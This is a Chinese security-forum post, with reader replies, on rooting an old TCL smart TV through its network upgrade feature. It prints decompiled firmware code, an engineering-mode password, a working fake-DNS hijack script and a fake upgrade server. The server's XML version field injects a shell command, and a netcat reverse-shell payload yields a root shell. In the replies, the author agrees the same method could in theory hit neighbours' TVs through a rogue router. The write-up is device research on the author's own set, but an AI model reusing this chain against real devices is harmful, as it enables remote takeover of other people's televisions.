首页
论坛
课程
招聘
[原创]看我如何PWN一款老旧的TCL电视机
2020-2-15 15:03 16138

[原创]看我如何PWN一款老旧的TCL电视机

2020-2-15 15:03
16138

前言

  因为疫情影响,被困在农村老家里边,闲得无聊,玩起了一款很久很久以前买的TCl电视,这款电视的操作系统不是安卓,而是定制的Linux系统,
本篇主要记录Pwn该设备的思路以及过程。


信息收集

  电视机的型号如下所示:

  

  通过简单的搜索,可以找到网友共享出来的固件TCL_MS881_MAIN.bin,运行binwalk -Me TCL_MS881_MAIN.bin对其进行解包,可以直接解出该文件系统,下图是其中一部分关键的文件:


   其中的china_lite_board即为主要的执行文件,负责电视剧大部分图像显示和逻辑处理。架构是mips的,所以可以通过ghidra愉快分析其伪C代码。

  

确定方向

1. nmap扫描端口,发现一个端口都没开,也就是说无法利用一些自带的服务,比如说telnet进入系统。

2. 解包固件打包回去,通过固件升级的方式来获取设备控制权:本身有一定的危险性,可能导致电视机直接变成砖头。

3. 在分析china_lite_board文件时,可以看到进入工程模式的密码:1950,找找看工程模式中有没有相关的开关直接拿shell的:

进入工程模式可以看到如下选项:

找了一圈,没有找到关键点,不过其中的一个SSCOM Debug引起了我的注意,通过简单的搜索,发现这是打开串口调试的选项,但是手上没有串口线,这就很难受了。

4. 利用漏洞,比如最简单的命令注入漏洞来获取控制权,一般来说,这种设备对安全不注重,会有一些漏洞产生,尤其是命令注入(比内存破坏类漏洞相对好利用),所以最后还是找找看有没有命令注入漏洞来进行突破。 (最终方向

发现漏洞


   发现命令注入类漏洞主要的思路是找到system函数的所有的引用,再一个个的去分析,最后通过这种方法发现了一个存在于升级功能的命令注入漏洞。
   升级逻辑如下,会请求http://api.upgrade.platform.huan.tv/service/upmp/upgradeIncrInterface获取升级信息(为了抓包,需要使用笔记本开热点让电视使用

 服务器返回得升级信息如下:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<upgradeIncrResponse>
  <servertime>1581142666</servertime>
  <callid>e3567c969c2c3d4098a88b960e627804</callid>
  <state>0000</state>
  <note>成功</note>
  <language>zh_CN</language>
  <apiversion>1.0</apiversion>
</upgradeIncrResponse>

 通过字符串搜索找到了处理的代码如下:
undefined4 FUN_00457748(MWidget *param_1)

{
  MWidget MVar1;
  MSRV_NETWORK_LINK_STATUS_e *pMVar2;
  MSRV_NETWORK_IP_STATUS_e *pMVar3;
  int iVar4;
  int iVar5;
  long lVar6;
  long lVar7;
  undefined4 uVar8;
  char *pcVar9;
  int local_1c8;
  int local_1c0;
  uint local_1b8;
  uint local_1b4;
  int local_1a4;
  allocator<char> aaStack412 [4];
  basic_string<char,std--char_traits<char>,std--allocator<char>> abStack408 [4];
  basic_string abStack404 [4];
  allocator<char> aaStack400 [4];
  basic_string<char,std--char_traits<char>,std--allocator<char>> abStack396 [4];
  basic_string abStack392 [4];
  basic_string abStack388 [4];
  undefined4 local_180;
  undefined4 local_17c;
  undefined4 local_178;
  undefined4 local_174;
  undefined4 local_170;
  undefined4 local_16c;
  undefined4 local_168;
  undefined4 local_164;
  undefined4 local_160;
  undefined4 local_15c;
  allocator aaStack344 [52];
  undefined4 local_124;
  undefined2 local_120;
  undefined auStack286 [46];
  statfs asStack240 [2];
  double local_38;
  double local_30;
  double local_28;
  double local_20;
  uint local_18;
  
     /*................代码略..............*/
      printf("\n[csheng]portalfeedback ==POTAL_FEEDBACK_SUCCESS ..[%s][%d]",
             "./src/NetUpdateFrame.cpp",0x51f);
      *(char *)(param_1 + 0x1f1) = (char)param_1[0x1f1] + '\x01';
      Set((short)*(undefined4 *)(param_1 + 0x1d8) + 0x250);
      Invalidate();
      if (param_1[0x3a00] == (MWidget)0x1) {
        printf("\n[csheng]call_C_MApp_GetPotalData begin...[%s][%d]\n","./src/NetUpdateFrame.cpp",
               0x527);
        uVar8 = call_C_MApp_GetPotalData(0x20,"/Customer/portal/swupg/update.xml");
        *(undefined4 *)(param_1 + 0x3a10) = uVar8;
        printf("\n[csheng]call_C_MApp_GetPotalData->portalfeedback=%d ...[%s][%d]\n",
               *(undefined4 *)(param_1 + 0x3a10),"./src/NetUpdateFrame.cpp",0x529);
      }
      if (*(int *)(param_1 + 0x3a10) == 1) {
        puts("=======SUCCESS========");
        if (param_1[0x3a00] == (MWidget)0x1) {
          printf("\n[csheng]call_C_ParseNewUpdateXml begin...[%s][%d]\n","./src/NetUpdateFrame.cpp",
                 0x530);
          param_1[0x38c] = (MWidget)0x0;
          //解析xml文件
          uVar8 = call_C_ParseNewUpdateXml
                            (param_1 + 0x1f8,param_1 + 0x39e8,"/Customer/portal/swupg/update.xml");
          *(undefined4 *)(param_1 + 0x3a0c) = uVar8;
          printf("\n[csheng]call_C_ParseNewUpdateXml->ret=%d,totoalnums=%d...[%s][%d]\n",
                 *(undefined4 *)(param_1 + 0x3a0c),*(undefined4 *)(param_1 + 0x39e8),
                 "./src/NetUpdateFrame.cpp",0x533);
          printf("\n[csheng]updateinfo->index=%d",*(undefined4 *)(param_1 + 0x78c));
          printf("\n[csheng]updateinfo->md5=%s",param_1 + 0x35a);
          printf("\n[csheng]updateinfo->note=%s",param_1 + 0x38c);
          printf("\n[csheng]updateinfo->size=%s",param_1 + 0x238);
          printf("\n[csheng]updateinfo->source=%s",param_1 + 0x256);
          printf("\n[csheng]updateinfo->title=%s",param_1 + 0x21a);
          printf("\n[csheng]updateinfo->type=%s",param_1 + 0x1f8);
          printf("\n[csheng]updateinfo->url=%s",param_1 + 0x25b);
          printf("\n[csheng]updateinfo->version=%s\n",param_1 + 0x1fc);
        }
        if (*(int *)(param_1 + 0x3a0c) == -1) {
          puts("parse xml file error!");
          return 1;
        }
        puts("\n=======Start Download Package======");
        if (*(int *)(param_1 + 0x39e8) < 1) {
          puts("=======None update info=========");
          param_1[500] = (MWidget)0x2;
          Hide();
          Hide();
          Hide();
          Hide();
          Hide();
          Show();
          SetInitialFocus(param_1);
          SwitchFocusTo(param_1);
          Set((short)*(undefined4 *)(param_1 + 0x1c0) + 0x160);
          Invalidate();
          param_1[499] = (MWidget)0x3;
          KillTimer((ulong)param_1);
          return 1;
        }
        doUpgrdOnce = 1;
        printf("\n[csheng]totoalnums>0,..[%s][%d]","./src/NetUpdateFrame.cpp",0x546);
        if (param_1[0x3a00] == (MWidget)0x1) {
          puts("\r\n=====NoteFlag=1======");
          basic_ostringstream((_Ios_Openmode)asStack240);
          param_1[0x3a00] = (MWidget)0x0;
          param_1[500] = (MWidget)0x0;
          Hide();
          Hide();
          Hide();
          Hide();
          Hide();
          Show();
          SwitchFocusTo(param_1);
          if (param_1[0x38c] == (MWidget)0x0) {
            Set((short)*(undefined4 *)(param_1 + 0x1a4) + 0x160);
          }
          else {
            operator<<<std--char_traits<char>>
                      ((basic_ostream *)asStack240,(char *)(param_1 + 0x38c));
            iVar4 = *(int *)(param_1 + 0x1a4);
            str();
            operator=((basic_string<char,std--char_traits<char>,std--allocator<char>> *)
                      (iVar4 + 0x164),abStack388);
            ~basic_string((basic_string<char,std--char_traits<char>,std--allocator<char>> *)
                          abStack388);
          }
          SetFlag((char)*(undefined4 *)(param_1 + 0x1a4) + '`','\x01');
          Invalidate();
          param_1[499] = (MWidget)0xc;
          KillTimer((ulong)param_1);
          ~basic_ostringstream
                    ((basic_ostringstream<char,std--char_traits<char>,std--allocator<char>> *)
                     asStack240);
          return 1;
        }
        SetTimer((ulong)param_1,1000,1);
        iVar4 = strncmp((char *)(param_1 + 0x7ee),"200",4);
        if (iVar4 == 0) {
          printf("\n[csheng]debugline..[%s][%d]","./src/NetUpdateFrame.cpp",0x56c);
          lVar6 = atol((char *)(param_1 + 2000));
          if (lVar6 < 0) {
            lVar6 = lVar6 + 0xfffff;
          }
          *(long *)(param_1 + 0x4688) = (lVar6 >> 0x14) + 1;
        }
        iVar4 = strncmp((char *)(param_1 + 0x256),"300",4);
        if (iVar4 == 0) {
          printf("\n[csheng]source=300..[%s][%d]","./src/NetUpdateFrame.cpp",0x571);
          pcVar9 = (char *)GetInstance();
          iVar4 = GetUSBMountPath(pcVar9);
          if (iVar4 == 0) {
            printf("\n[csheng]debugline..[%s][%d]","./src/NetUpdateFrame.cpp",0x58f);
            param_1[500] = (MWidget)0x3;
            Hide();
            Hide();
            Hide();
            Hide();
            Hide();
            Show();
            SwitchFocusTo(param_1);
            Set((short)*(undefined4 *)(param_1 + 0x1c8) + 0x160);
            Invalidate();
            param_1[499] = (MWidget)0x4;
            KillTimer((ulong)param_1);
            return 1;
          }
          puts("=======Find USB Device============");
          pcVar9 = (char *)GetInstance();
          iVar4 = GetUSBContainer(pcVar9);
          SetTimer((ulong)param_1,500,2);
          lVar6 = atol((char *)(param_1 + 0x238));
          if (lVar6 < 0) {
            lVar6 = lVar6 + 0xfffff;
          }
          if (iVar4 < (lVar6 >> 0x14) + 6 + *(int *)(param_1 + 0x4688)) {
            param_1[500] = (MWidget)0x3;
            Hide();
            Hide();
            Hide();
            Hide();
            Hide();
            Show();
            SwitchFocusTo(param_1);
            Set((short)*(undefined4 *)(param_1 + 0x1c8) + 0x160);
            Invalidate();
            param_1[499] = (MWidget)0x5;
            KillTimer((ulong)param_1);
            return 1;
          }
          local_180 = 0;
          local_17c = 0;
          local_178 = 0;
          local_174 = 0;
          local_170 = 0;
          pcVar9 = (char *)GetInstance();
          GetUSBMountPath(pcVar9);
          //缓冲区溢出
          sprintf(Downloadaddress,"%s/%s",&local_180,param_1 + 0x21a);
          strcpy(DownloadPath,(char *)&local_180);
        }
        else {
          iVar4 = strncmp((char *)(param_1 + 0x256),"100",4);
          if (iVar4 == 0) {
            printf("\n[csheng]source=100..[%s][%d]","./src/NetUpdateFrame.cpp",0x5a1);
            pcVar9 = (char *)GetInstance();
            iVar4 = GetUSBMountPath(pcVar9);
            if (iVar4 == 0) {
              printf("\n[csheng]no usb..[%s][%d]","./src/NetUpdateFrame.cpp",0x5c1);
              param_1[500] = (MWidget)0x3;
              Hide();
              Hide();
              Hide();
              Hide();
              Hide();
              Show();
              SwitchFocusTo(param_1);
              Set((short)*(undefined4 *)(param_1 + 0x1c8) + 0x160);
              Invalidate();
              param_1[499] = (MWidget)0x4;
              KillTimer((ulong)param_1);
              return 1;
            }
            puts("=======Find USB Device============");
            pcVar9 = (char *)GetInstance();
            iVar4 = GetUSBContainer(pcVar9);
            SetTimer((ulong)param_1,500,2);
            lVar6 = atol((char *)(param_1 + 0x238));
            if (lVar6 < 0) {
              lVar6 = lVar6 + 0xfffff;
            }
            if (iVar4 < (lVar6 >> 0x14) + 6 + *(int *)(param_1 + 0x4688)) {
              printf("\n[csheng]USB Contain have not enough space!!!..[%s][%d]",
                     "./src/NetUpdateFrame.cpp",0x5a9);
              param_1[500] = (MWidget)0x3;
              Hide();
              Hide();
              Hide();
              Hide();
              Hide();
              Show();
              SwitchFocusTo(param_1);
              Set((short)*(undefined4 *)(param_1 + 0x1c8) + 0x160);
              Invalidate();
              param_1[499] = (MWidget)0x5;
              KillTimer((ulong)param_1);
              return 1;
            }
            local_16c = 0;
            local_168 = 0;
            local_164 = 0;
            local_160 = 0;
            local_15c = 0;
            pcVar9 = (char *)GetInstance();
            GetUSBMountPath(pcVar9);
            //缓冲区溢出
            sprintf(Downloadaddress,"%s/%s",&local_16c,param_1 + 0x1fc);
            strcpy(DownloadPath,(char *)&local_16c);
          }
        }
        iVar4 = strncmp((char *)(param_1 + 0x7ee),"200",4);
        if (iVar4 == 0) {
          printf("\n[csheng]source=200..[%s][%d]","./src/NetUpdateFrame.cpp",0x5e1);
          sprintf(DownloadMbootAddress,"%s/%s",DownloadPath,param_1 + 0x7b2);
          pcVar9 = (char *)GetInstance();
          DeleteOtherUpdateFileForMboot(pcVar9,DownloadPath);
        }
        if (local_1a4 < 99) {
          printf("\n[csheng]intpercentage=%d,debugline..[%s][%d]",local_1a4,
                 "./src/NetUpdateFrame.cpp",0x5ec);
          param_1[500] = (MWidget)0x5;
          param_1[499] = (MWidget)0x1a;
          Show();
          Hide();
          Hide();
          Hide();
          Hide();
          Hide();
          SetInitialFocus(param_1);
          SwitchFocusTo(param_1);
          SetCurValue(*(long *)(param_1 + 0x1e4));
          iVar4 = *(int *)(param_1 + 0x1e8);
          allocator();
          basic_string((char *)abStack396,aaStack344);
          operator+<char,std--char_traits<char>,std--allocator<char>>(abStack392,(char *)abStack396)
          ;
          operator=((basic_string<char,std--char_traits<char>,std--allocator<char>> *)
                    (iVar4 + 0x164),abStack392);
          ~basic_string((basic_string<char,std--char_traits<char>,std--allocator<char>> *)abStack392
                       );
          ~basic_string(abStack396);
          ~allocator(aaStack400);
          Invalidate();
          Invalidate();
        }
        param_1[0x39f4] = (MWidget)0x0;
        printf("\n[csheng]check data space for update..[%s][%d]","./src/NetUpdateFrame.cpp",0x600);
        local_1b4 = 0;
        local_124 = 0x7461642f;
        local_120 = 0x61;
        memset(auStack286,0,0x2c);
        system("/system/bin/stop zygote");
        system("umount -l /mnt/sdcard");
        iVar4 = statfs("/data",asStack240);
        if (-1 < iVar4) {
          printf("\n[csheng]debugline..[%s][%d]","./src/NetUpdateFrame.cpp",0x61e);
          local_1b4 = (uint)((ulonglong)asStack240[0].f_bavail * (ulonglong)asStack240[0].f_blocks);
          printf("\r\n u16USBFreeSpace=%ld",local_1b4,
                 ((int)asStack240[0].f_blocks >> 0x1f) * asStack240[0].f_bavail +
                 (int)((ulonglong)asStack240[0].f_bavail * (ulonglong)asStack240[0].f_blocks >> 0x20
                      ));
        }
        iVar4 = strncmp((char *)(param_1 + 0x7ee),"200",4);
        if (iVar4 == 0) {
          printf("\n[csheng]debugline..[%s][%d]","./src/NetUpdateFrame.cpp",0x638);
          lVar6 = atol((char *)(param_1 + 0x238));
          lVar7 = atol((char *)(param_1 + 2000));
          local_1b8 = lVar6 + lVar7;
        }
        else {
          printf("\n[csheng]debugline..[%s][%d]","./src/NetUpdateFrame.cpp",0x63d);
          local_1b8 = atol((char *)(param_1 + 0x238));
        }
        printf("\r\n LoadFilesize=%d",local_1b8);
        if (local_1b4 < local_1b8) {
          printf("\r\n LoadFilesize11=%d",local_1b8);
          pcVar9 = (char *)GetInstance();
          iVar4 = ListFilesDir(pcVar9);
          if (iVar4 == 0) {
            system("/bin/tools/ls -al");
            printf("\r\n remove finished");
          }
          iVar4 = statfs("/data",asStack240);
          if (-1 < iVar4) {
            local_1b4 = (uint)((ulonglong)asStack240[0].f_bavail * (ulonglong)asStack240[0].f_blocks
                              );
            printf("\r\n u16USBFreeSpace22=%ld",local_1b4,
                   ((int)asStack240[0].f_blocks >> 0x1f) * asStack240[0].f_bavail +
                   (int)((ulonglong)asStack240[0].f_bavail * (ulonglong)asStack240[0].f_blocks >>
                        0x20));
          }
          if (local_1b4 < local_1b8) {
            system("rm -rf /data/*");
            system("/bin/tools/ls -al");
            sync();
            puts("\r\n rm all ");
          }
        }
        iVar4 = strncmp((char *)(param_1 + 0x256),"200",4);
        if (iVar4 == 0) {
          puts("\nmboot down thread start");
          mbootthreadstatus = 1;
        }
        else {
          puts("\nmain code down thread start");
          codethreadstatus = 1;
        }

        //下载升级包
        iVar4 = pthread_create((pthread_t *)(param_1 + 0x3a04),(pthread_attr_t *)0x0,
                               call_C_Autodownloadpackage,param_1 + 0x1f8);
        SetTimer((ulong)param_1,1000,3);
        if (iVar4 == 0) {
          puts("Create DOWNLOAD thread SUCCESS");
        }
        else {
          printf(" Couldn\'t create DOWNLOAD thread  --errno: %d\n",iVar4);
        }
        iVar4 = strncmp((char *)(param_1 + 0x7ee),"200",4);
        if (iVar4 == 0) {
          puts("\nComing to creat thread of mboot");
          pthread_create((pthread_t *)(param_1 + 0x3a08),(pthread_attr_t *)0x0,downloadpackage,
                         param_1 + 0x790);
        }
        lVar6 = atol((char *)(param_1 + 0x238));
        printf(
               "//------------zhancd 101223 NetUpdateFrame.cpp serverlenmain=%ld------671-------//\n"
               ,lVar6);
        lVar6 = atol((char *)(param_1 + 2000));
        printf(
               "//------------zhancd 101223 NetUpdateFrame.cpp serverlenmboot=%ld------671-------//\n"
               ,lVar6);
        return 1;
      }
      puts("=======FAILURE=======......................==");
      param_1[500] = (MWidget)0x2;
      Hide();
      Hide();
      Hide();
      Hide();
      Hide();
      Show();
      SetInitialFocus(param_1);
      SwitchFocusTo(param_1);
      Set((short)*(undefined4 *)(param_1 + 0x1c0) + 0x160);
      Invalidate();
      param_1[499] = (MWidget)0x7;
      KillTimer((ulong)param_1);
      return 1;
    }
  }
  KillTimer((ulong)param_1);
  return 1;
}



缓冲区溢出的地方先不管,找到调用system函数的地方,继续跟入下载升级包的流程:

下载之前删除之前下载过的数据包,会将服务端传过来的version直接拼接到命令行中,没有进行任何验证(命令注入漏洞):

漏洞利用

   在上面的分析已经介绍了漏洞的成因,主要是没对服务端传过来的version字段进行过滤,那么问题来了,如何伪造服务端的响应触发漏洞?

   DNS劫持

    通过将api.upgrade.platform.huan.tv解析到恶意构造的80主机即可,参考别人写的dns劫持代码如下:
    
#!/usr/bin/python
import socket
import struct
import time
import logging
from logging.handlers import RotatingFileHandler

LOG = logging.getLogger('myip')
LOG.setLevel(logging.INFO)
FORMATTER = logging.Formatter('%(asctime)s %(levelname)s %(message)s')
HANDLER = RotatingFileHandler('myip.log', maxBytes=512000, backupCount=10)
HANDLER.setFormatter(FORMATTER)
LOG.addHandler(HANDLER)

DELAY = 50
MAXSUBDOMAINS = 3
HIAJACK_LIST = [
   "api.upgrade.platform.huan.tv"

]

LASTQUERY = time.time()

def queryfilter(query, source):
    global LASTQUERY
    elapsed = time.time() - LASTQUERY
    if not query.domain:
        LOG.warning("ignoring query because it has no data. source: %s", source)
        return False
    for bl_domain in HIAJACK_LIST:
        if bl_domain.lower() in query.domain.lower():
            LOG.warning("hijack query for blacklisted domain. domain: %s, source: %s", query.domain, source)
            return True
    return False

def _get_question_section(query):
    # Query format is as follows: 12 byte header, question section (comprised
    # of arbitrary-length name, 2 byte type, 2 byte class), followed by an
    # additional section sometimes. (e.g. OPT record for DNSSEC)
    start_idx = 12
    end_idx = start_idx

    num_questions = (ord(query.data[4]) << 8) | ord(query.data[5])

    while num_questions > 0:
        while query.data[end_idx] != '\0':
            end_idx += ord(query.data[end_idx]) + 1
        # Include the null byte, type, and class
        end_idx += 5
        num_questions -= 1

    return query.data[start_idx:end_idx]

class DNSResponse(object):
    def __init__(self, query):
        self.id = query.data[:2]  # Use the ID from the request.
        self.flags = "\x81\x80"  # No errors, we never have those.
        self.questions = query.data[4:6]  # Number of questions asked...
        # Answer RRs (Answer resource records contained in response) 1 for now.
        self.rranswers = "\x00\x01"
        self.rrauthority = "\x00\x00"  # Same but for authority
        self.rradditional = "\x00\x00"  # Same but for additionals.
        # Include the question section
        self.query = _get_question_section(query)
        # The pointer to the resource record - seems to always be this value.
        self.pointer = "\xc0\x0c"
        # This value is set by the subclass and is defined in TYPE dict.
        self.type = None
        self.dnsclass = "\x00\x01"  # "IN" class.
        # TODO: Make this adjustable - 1 is good for noobs/testers
        self.ttl = "\x00\x00\x00\x01"
        # Set by subclass because is variable except in A/AAAA records.
        self.length = None
        self.data = None  # Same as above.

    def answer(self):
        try:
            return self.id + self.flags + self.questions + self.rranswers + \
                self.rrauthority + self.rradditional + self.query + \
                self.pointer + self.type + self.dnsclass + self.ttl + \
                self.length + self.data
        except (TypeError, ValueError):
            pass

class A(DNSResponse):
    def __init__(self, query, ip):
        super(A, self).__init__(query)
        self.type = "\x00\x01"
        self.length = "\x00\x04"
        self.data = ''.join(chr(int(x)) for x in ip.split('.'))

class DNSQuery:
    def __init__(self, data):
        self.data = data
        self.domain = ''

        tipo = (ord(data[2]) >> 3) & 15   # Opcode bits
        if tipo == 0:                     # Standard query
            ini = 12
            lon = ord(data[ini])
            while lon != 0:
                self.domain += data[ini+1:ini+lon+1]+'.'
                ini += lon+1
                lon = ord(data[ini])
#            self.type = data[ini:][1:3]
#            #print struct.unpack(">H", self.type)
#        else:
#            self.type = data[-4:-2]
hijack_ip='192.168.137.77'
if __name__ == '__main__':
    udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    udps.bind(('', 53))
    try:
        while 1:
            data, addr = udps.recvfrom(1024)
            try:
                q = DNSQuery(data)
    
                if queryfilter(q, addr[0]):
                    print addr[0]
        
                    r = A(q, hijack_ip)
                    LOG.info('%s -> %s', q.domain, addr[0])
                    udps.sendto(r.answer(), addr)
           
                LASTQUERY = time.time()
            except Exception, err:
                LOG.warning("Exception caused by %s: %s", addr, err)
                # We don't send data since address could be spoofed
                #udps.sendto("Invalid request", addr)

    except KeyboardInterrupt:
      print 'Closing'
      udps.close()

并且将AP适配器的dhcp-dns改成恶意的DNS服务地址:


  命令注入

   再编写一个http服务器来响应升级请求,同时插入恶意构造的代码(<version>test'`;sh ./hack.sh;echo `echo '1</version> ),该代码会直接执行U盘目录下的hack.sh文件:
   
# coding:utf-8

import socket
import time
import threading


def handle_client(client_socket):
    """
    处理客户端请求
    """
    request_data = client_socket.recv(1024)
    print("request data:", request_data)
    # 构造响应数据
    response_start_line = "HTTP/1.1 200 OK\r\n"
 
    response_body = '''
<?xml version="1.0" encoding="utf-8"?>
<upgradeIncrResponse>
  <servertime>%d</servertime>
  <callid>e3567c969c2c3d4098a88b960e627804</callid>
  <state>0000</state>
  <note>nihao</note>
  <language>zh_CN</language>
  <upgrade> 
    <type>100</type>  
    <apptype>100</apptype>  
    <title>123</title>  
    <md5>123</md5>  
    <version>test'`;sh ./hack.sh;echo `echo '1</version>  
    <size>5</size>  
    <note>pwn by wmsuper</note>  
    <fileurl>http://192.168.137.77</fileurl>  
    <appid>1</appid> 
  </upgrade>
</upgradeIncrResponse>'''%(int(time.time()))
    
    response_headers = "Server: My server\r\n"+"Content-Type: application/xml;charset=UTF-8\r\n"+"Content-Length: %d\r\n"%len(response_body)

    response = response_start_line + response_headers + "\r\n" + response_body

    # 向客户端返回响应数据
    client_socket.send(response)

    # 关闭客户端连接
    client_socket.close()


if __name__ == "__main__":
    server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server_socket.bind(("", 80))
    server_socket.listen(128)

    while True:
        client_socket, client_address = server_socket.accept()
        print("[%s, %s]用户连接上了" % client_address)
        handle_client_process = threading.Thread(target=handle_client, args=(client_socket,))
        handle_client_process.start()
       

U盘的hack.sh文件如下(试了好几个payload,最后只有这个成功了):
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.137.1 8848 >/tmp/f

利用效果

   在按下通过网络升级的按钮之后,伪造的服务端将会返回伪造的请求数据,电视机会提示升级的选项框:
   
 点击确定,会触发version字段的恶意代码,执行U盘的反弹shell代码(之前得在主机运行nc -lvp 8848 来监听反弹回来的shell):
 
  反弹的shell如下,身份是root,到这里可以说已经完全控制该电视了:
  
  CPU很渣,其实没啥可玩性:


结语

  本片虽然没啥技术含量,纯粹瞎折腾,不过花了挺长时间写的,希望大家喜欢~~~///(^v^)\\\~~~

第五届安全开发者峰会(SDC 2021)议题征集正式开启!

最后于 2020-2-15 15:04 被wmsuper编辑 ,原因:
收藏
点赞12
打赏
分享
打赏 + 2.00
打赏次数 1 金额 + 2.00
 
赞赏  yjmwxwx   +2.00 2021/02/21
最新回复 (25)
雪    币: 6668
活跃值: 活跃值 (4865)
能力值: ( LV12,RANK:210 )
在线值:
发帖
回帖
粉丝
pureGavin 活跃值 2 2020-2-15 16:14
2
0
mark,楼主辛苦了
雪    币: 348
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
hero3000 活跃值 2020-2-15 16:17
3
0
牛人。。。。。。
雪    币: 1423
活跃值: 活跃值 (106)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
tearorca 活跃值 2020-2-15 16:46
4
0
想问下大佬是用手工审计代码的吗?
雪    币: 6893
活跃值: 活跃值 (5098)
能力值: ( LV12,RANK:210 )
在线值:
发帖
回帖
粉丝
wmsuper 活跃值 3 2020-2-15 18:02
5
0
tearorca 想问下大佬是用手工审计代码的吗?
是手动看的,找system函数的所有引用,因为没有多少,所以我一个个看过去,看有没有漏洞的地方。
雪    币: 1423
活跃值: 活跃值 (106)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
tearorca 活跃值 2020-2-15 19:31
6
0
wmsuper 是手动看的,找system函数的所有引用,因为没有多少,所以我一个个看过去,看有没有漏洞的地方。
大佬你的那个参考的dns劫持的能不能发下,你的这个不怎么看得懂,谢谢
雪    币: 6893
活跃值: 活跃值 (5098)
能力值: ( LV12,RANK:210 )
在线值:
发帖
回帖
粉丝
wmsuper 活跃值 3 2020-2-15 19:39
7
0
tearorca 大佬你的那个参考的dns劫持的能不能发下,你的这个不怎么看得懂,谢谢
https://github.com/danielperna84/myip-fakedns
雪    币: 1423
活跃值: 活跃值 (106)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
tearorca 活跃值 2020-2-15 19:50
8
0
wmsuper https://github.com/danielperna84/myip-fakedns
谢谢
雪    币: 2497
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
mb_xghoecki 活跃值 2020-2-15 20:04
9
0
感谢分享
雪    币: 180
活跃值: 活跃值 (1061)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
葫芦娃 活跃值 1 2020-2-16 17:49
10
0
雪    币: 2048
活跃值: 活跃值 (59)
能力值: ( LV3,RANK:31 )
在线值:
发帖
回帖
粉丝
Littlebirds 活跃值 2020-2-16 19:41
11
0
雪    币: 5273
活跃值: 活跃值 (107)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
广岛秋泽 活跃值 2020-2-18 09:33
12
0
雪    币: 12
活跃值: 活跃值 (12)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
zeek 活跃值 2020-2-25 22:56
13
0
雪    币: 1032
活跃值: 活跃值 (108)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
Mason_Wu 活跃值 2020-3-9 14:09
14
0
膜拜大佬,学习思路
雪    币: 1
活跃值: 活跃值 (47)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
aizhiqun 活跃值 2020-3-13 23:15
15
0
猛人
雪    币: 857
活跃值: 活跃值 (115)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
只是来打酱油 活跃值 2020-3-17 09:27
16
0
6
雪    币: 11
活跃值: 活跃值 (37)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
ShadowMourne 活跃值 2020-3-24 17:55
17
0
赞!非常喜欢!谢谢楼主!
雪    币: 10
活跃值: 活跃值 (182)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
sungy 活跃值 1 2020-3-25 10:48
18
1
那搞个无线路由器,信号强一点,帐号密码和别人家的一样,是不是能让他家的电视升级啊
雪    币: 6893
活跃值: 活跃值 (5098)
能力值: ( LV12,RANK:210 )
在线值:
发帖
回帖
粉丝
wmsuper 活跃值 3 2020-3-25 19:05
19
0
sungy 那搞个无线路由器,信号强一点,帐号密码和别人家的一样,是不是能让他家的电视升级啊[em_13]
哈哈,理论上是可以的。
雪    币: 7
活跃值: 活跃值 (12)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Ettack 活跃值 2020-4-3 10:46
20
0
有趣,我不久前找到同是工厂菜单的另一处命令注入root了新的TCL Android TV,看来这种漏洞普遍存在TCL各处代码中哦
雪    币: 162
活跃值: 活跃值 (59)
能力值: ( LV2,RANK:15 )
在线值:
发帖
回帖
粉丝
禾之舟 活跃值 2020-5-21 19:29
21
0
拜读了
雪    币: 2395
活跃值: 活跃值 (902)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
mudebug 活跃值 2020-5-21 20:34
22
0
雪    币: 12
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
yefenghong 活跃值 2020-5-31 17:15
23
0
zan
雪    币: 171
活跃值: 活跃值 (78)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
hackevil 活跃值 2020-11-4 13:38
24
0
有意思,哈哈
雪    币: 20
活跃值: 活跃值 (36)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
八零年的刘某 活跃值 2021-1-18 23:45
25
0
牛逼
游客
登录 | 注册 方可回帖
返回